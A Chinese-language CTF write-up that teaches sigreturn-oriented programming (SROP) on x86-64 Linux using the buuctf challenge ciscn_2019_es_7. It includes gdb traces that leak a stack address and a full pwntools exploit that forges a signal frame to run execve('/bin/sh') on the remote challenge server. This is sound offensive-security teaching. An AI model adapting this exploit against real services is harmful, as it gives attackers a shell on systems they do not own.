-
-
[原创]srop基本利用教程
-
2021-4-17 11:30 9761
-
srop概念
参考链接
https://www.anquanke.com/post/id/217081
https://blog.csdn.net/mcmuyanga/article/details/112509274
如图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame。
在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。
Signal机制缺陷利用
首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:
第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;
第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame。
按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!
让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示
在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。
传参规则
一个参数用rdi(edi)传
两个参数用rdi、rsi(edi、rsi)传
三个参数用rdi、rsi、rdx(edi、esi、edx)传
四个参数用rdi、rsi、rdx、rcx(edi、esi、edx、ecx)传
五个参数用rdi、rsi、rdx、rcx、r8(edi、esi、edx、ecx、r8)传
六个参数用rdi、rsi、rdx、rcx、r8、r9(edi、esi、edx、ecx、r8、r9)传
具体攻击方式
这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。
例题
来源buuctf ciscn_2019_es_7
关键函数
1 2 3 4 5 6 7 8 | signed __int64 vuln() { signed __int64 v0; / / rax char buf[ 16 ]; / / [rsp + 0h ] [rbp - 10h ] BYREF v0 = sys_read( 0 , buf, 0x400uLL ); return sys_write( 1u , buf, 0x30uLL ); } |
系统调用的读入和写出
读入0x400
输出0x30
1 | char buf[ 16 ]; / / [rsp + 0h ] [rbp - 10h ] BYREF |
可以得知buf距离返回地址0x10
so会多泄露0x20的内容
满足条件第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
然后我们去找栈上的/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | RAX 0x30 RBX 0x0 RCX 0x400519 (vuln + 44 ) ◂— ret RDX 0x30 RDI 0x1 RSI 0x7fffffffdfe0 ◂— 0xa616861686168 / * 'hahaha\n' * / R8 0x7ffff7dced80 (initial) ◂— 0x0 R9 0x7ffff7dced80 (initial) ◂— 0x0 R10 0x3 R11 0x246 R12 0x4003e0 (_start) ◂— xor ebp, ebp R13 0x7fffffffe0f0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdff0 —▸ 0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdff8 —▸ 0x400536 (main + 25 ) ◂— nop RIP 0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push r15 |
看见上面ris的指向了吗 变量栈地址
1 2 3 4 5 6 7 | / 8gx 0x7fffffffdfe0 0x7fffffffdfe0 : 0x000a616861686168 0x0000000000000000 0x7fffffffdff0 : 0x00007fffffffe010 0x0000000000400536 0x7fffffffe000 : 0x00007fffffffe0f8 0x0000000100000000 0x7fffffffe010 : 0x0000000000400540 0x00007ffff7a03bf7 pwndbg> hex ( 0x00007fffffffe0f8 - 0x7fffffffdfe0 ) + 0000 0x000118 |
因为我们可以从上面分析知道泄露0x20的内容
那么从输入的栈地址+0x20 里面的内容就是泄露出来的地址
减去0x118就是我们的输入的栈地址咯
还有一种办法就是用info proc map 看内存映射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 / home / q / c7 0x600000 0x601000 0x1000 0x0 / home / q / c7 0x601000 0x602000 0x1000 0x1000 / home / q / c7 0x7ffff79e2000 0x7ffff7bc9000 0x1e7000 0x0 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff7bc9000 0x7ffff7dc9000 0x200000 0x1e7000 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff7dc9000 0x7ffff7dcd000 0x4000 0x1e7000 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff7dcd000 0x7ffff7dcf000 0x2000 0x1eb000 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff7dcf000 0x7ffff7dd3000 0x4000 0x0 0x7ffff7dd3000 0x7ffff7dfc000 0x29000 0x0 / lib / x86_64 - linux - gnu / ld - 2.27 .so 0x7ffff7fe1000 0x7ffff7fe3000 0x2000 0x0 0x7ffff7ff8000 0x7ffff7ffb000 0x3000 0x0 [vvar] 0x7ffff7ffb000 0x7ffff7ffc000 0x1000 0x0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x29000 / lib / x86_64 - linux - gnu / ld - 2.27 .so 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2a000 / lib / x86_64 - linux - gnu / ld - 2.27 .so 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] |
1 | 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] |
从栈的内存里面查看用如下指令
1 | find 0x7ffffffde000 , 0x7ffffffff000 , "hahaha" |
会输出rsi上的地址
这个方法和第一种效果一样
可惜了我电脑跑不出就用第一种方法好了
这里还要提下
1 | SigreturnFrame() |
这个函数是我们做题操作的核心
他可以对寄存器的值进行修改
我先上exp慢慢讲解
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from pwn import * from LibcSearcher import * #context.arch='amd64' context(os = 'linux' ,arch = 'amd64' ,log_level = 'debug' ) #p=process("./c7") p = remote( 'node3.buuoj.cn' , 26957 ) syscall_ret = 0x400517 sigreturn_addr = 0x4004da system_addr = 0x4004E2 rax = 0x4004f1 vuln = 0x04004ed p.send( "/bin/sh" + "\x00" * 9 + p64(vuln)) p.recv( 32 ) stack_addr = u64(p.recv( 8 )) log.success( "stack: " + hex (stack_addr)) p.recv( 8 ) #gdb.attach(p) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr - 0x118 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret p.send( "/bin/sh" + "\x00" * ( 0x1 + 0x8 ) + p64(sigreturn_addr) + p64(syscall_ret) + str (sigframe)) p.interactive() |
1 | char buf[ 16 ]; / / [rsp + 0h ] [rbp - 10h ] BYREF |
1 2 3 4 5 | p.send( "/bin/sh" + "\x00" * 9 + p64(vuln)) p.recv( 32 ) stack_addr = u64(p.recv( 8 )) log.success( "stack: " + hex (stack_addr)) p.recv( 8 ) |
buf距离返回地址16个字符大小,我们传入任意16个字符再传入vuln函数地址
(这里为什么不加8到返回地址是因为我们不用跳出这个函数,再次传入vuln地址是为了
从头开始我们还要一次输入机会)
为什么接受32个字符呢 我们传入24 但是距离泄露地址有0x20距离
0x00到0x10是废物数据一共8个字节
调试内容如下
1 2 3 4 | 00000000 2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00 │ / bin │ / sh·│····│····│ 00000010 ed 04 40 00 00 00 00 00 36 05 40 00 00 00 00 00 │··@·│····│ 6 ·@·│····│ 00000020 b8 9d 82 93 ff 7f 00 00 00 00 00 00 01 00 00 00 │····│····│····│····│ 00000030 |
1 2 3 4 5 6 7 8 9 | sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr - 0x118 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret p.send( "/bin/sh" + "\x00" * ( 0x1 + 0x8 ) + p64(sigreturn_addr) + p64(syscall_ret) + str (sigframe)) |
SigreturnFrame()函数我们设置参数
寄存器rax是返回值的存储在这里设置系统调用号
这里
sigframe.rax = constants.SYS_execve等价于
sigframe.rax = 0x3B
因为execve调用号为0X3B=59
execve(x,y,z)有三个参数第一个是命令,后面两个用0补充,所以 rsi和rdx都是0
寄存器设置为变量输入地址会把该地址内存上的东西赋给rax上的函数execve
寄存器rsp是栈指针让他去指向被泄露地址
寄存器rip指向下一条指令的地址这里用syscall
(为了避免误会说一下,这个下一条指令指的是执行完execve,system调用最终依然是依靠execve()实现调用的)
execve system二者关系详解
https://blog.csdn.net/lenk2010/article/details/20049289
文章比较复杂基础不好的可以直接略过没事的
2个syscall随便选一个都可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | ; __unwind { .text: 00000000004004ED push rbp .text: 00000000004004EE mov rbp, rsp .text: 00000000004004F1 xor rax, rax .text: 00000000004004F4 mov edx, 400h ; count .text: 00000000004004F9 lea rsi, [rsp + buf] ; buf .text: 00000000004004FE mov rdi, rax ; fd .text: 0000000000400501 syscall ; LINUX - sys_read .text: 0000000000400503 mov rax, 1 .text: 000000000040050A mov edx, 30h ; '0' ; count .text: 000000000040050F lea rsi, [rsp + buf] ; buf .text: 0000000000400514 mov rdi, rax ; fd .text: 0000000000400517 syscall ; LINUX - sys_write .text: 0000000000400519 retn .text: 0000000000400519 vuln endp ; sp - analysis failed |
1 | p.send( "/bin/sh" + "\x00" * ( 0x1 + 0x8 ) + p64(sigreturn_addr) + p64(syscall_ret) + str (sigframe)) |
传入命令/bin/sh 1个\x00用来截断剩下的凑数然后传入sigreturn_addr接着调用syscall来执行手动设置的fake sigframe
结果
简单概述
1.有系统调用15号
2.有溢出有输出或格式化字符串能任意读取任意写
3.传入/bin/sh后传入sigreturn的地址接着传入我们手动构造的SigreturnFrame